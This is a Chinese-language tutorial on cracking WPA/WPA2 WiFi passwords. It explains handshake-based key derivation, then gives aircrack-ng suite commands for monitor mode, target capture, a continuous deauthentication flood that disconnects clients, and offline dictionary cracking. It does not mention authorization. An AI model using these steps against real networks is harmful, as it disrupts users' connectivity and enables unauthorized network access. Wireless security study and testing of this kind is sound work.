破解WiFi密码
基础
WPA2其实是基于WPA的一种新的加密方式。WPA指的是保护无线电脑网络安全系统(Wi-Fi Protected Access),大大增强现有以及未来无线局域网系统的数据保护和访问控制水平。而WPA2是WPA的增强型版本,与WPA相比,WPA2新增了支持AES的加密方式。WPA2其安全性是利用密钥导出函数来增强的,但是使用者采用的典型的弱密也会被密码破解攻击。
WPA密码其实称为PSK,长度一般是8-63字节,它加上ssid通过哈希算法可以得到PMK,PMK是定长的64字节。由于计算PMK的过程开销比较大,是破解花费时间长的关键,所以采用以空间换时间的原则把PMK事先生成好,这个事先生成好的表就是常说的HASH表,这个工作就是用airlib-ng这个工具来完成的。
在认证的时候会生成一个PTK,这是一组密钥,它的生成方法也是采用哈希,参数是连接的客户端MAC地址、AP的BSSID、A-NONCE、S-NONCE、PMK,其中A-NONCE和S-NONCE是两个随机数,确保每次连接都会生成不同的PTK,PTK的计算消耗很小,PTK加上报文数据采用加密算法(AES或TKIP)得到密文,同时会得到一个签名,叫做MIC(message integrality check)。
破解密码的关键流程:
- PMK = SHA-1(SSID, PSK)
- PTK = hash(MAC, BSSID, A-NONCE, S-NONCE, PMK)
- 密文 = AES或TKIP(PTK, data)
- 签名MIC = HMAC(PTK, 整个802.1x认证报文)
在握手包过程中可以获得的是:客户端的MAC地址,AP的BSSID,A-NONCE,S-NONE,MIC。而认证原理就是客户端算出MIC发给AP,AP也采用相同方法计算并与之比较,若一致则认证通过。
破解:
-
先抓取握手包
-
用字典中的PSK+ssid先生成PMK(如果有已经生成好的HASH表则略过)
-
结合握手包中的(客户端MAC,AP的BSSID,A-NONCE,S-NONCE)计算PTK,再加上原始的报文数据算出MIC并与AP发送的MIC比较,如果一致,那么该PSK就是密钥
原理
通过DeAuth泛洪攻击让连接WiFi的设备断开连接,客户端设备会尝试重联,在这个过程中监听某设备与WiFi重新建立连接时的握手包,其中包含密文密码,随后使用工具破解即可。
利用
开启网卡监听
airmon-ng start wlan0
扫描WiFi信号
airodump-ng wlan0mon
各个参数含义:
- BSSID 路由器的 MAC 地址
- PWR 信号的强度,数值越大代表信息越强
- CH 信道
- ENC 加密的方式
- AUTH 认证方式
- ESSID WIFI名字
监听流量
airodump-ng -w wifi名 -c 信道 --bssid xxxx wlan0mon
DeAuth泛洪攻击
aireplay-ng -0 0 -a WIFI物理地址 -c 用户设备物理地址 wlan0mon
# 参数
-0 3 表示发送3次,-0 0 表示持续发送;不加 -c 参数表示断开所有客户端的连接
暴力破解
查看所拦截的数据包,检测这个包里是否有握手包:
aircrack-ng /tmp/xxx.cap
破解:
aircrack-ng /tmp/xxx.cap -w 字典路径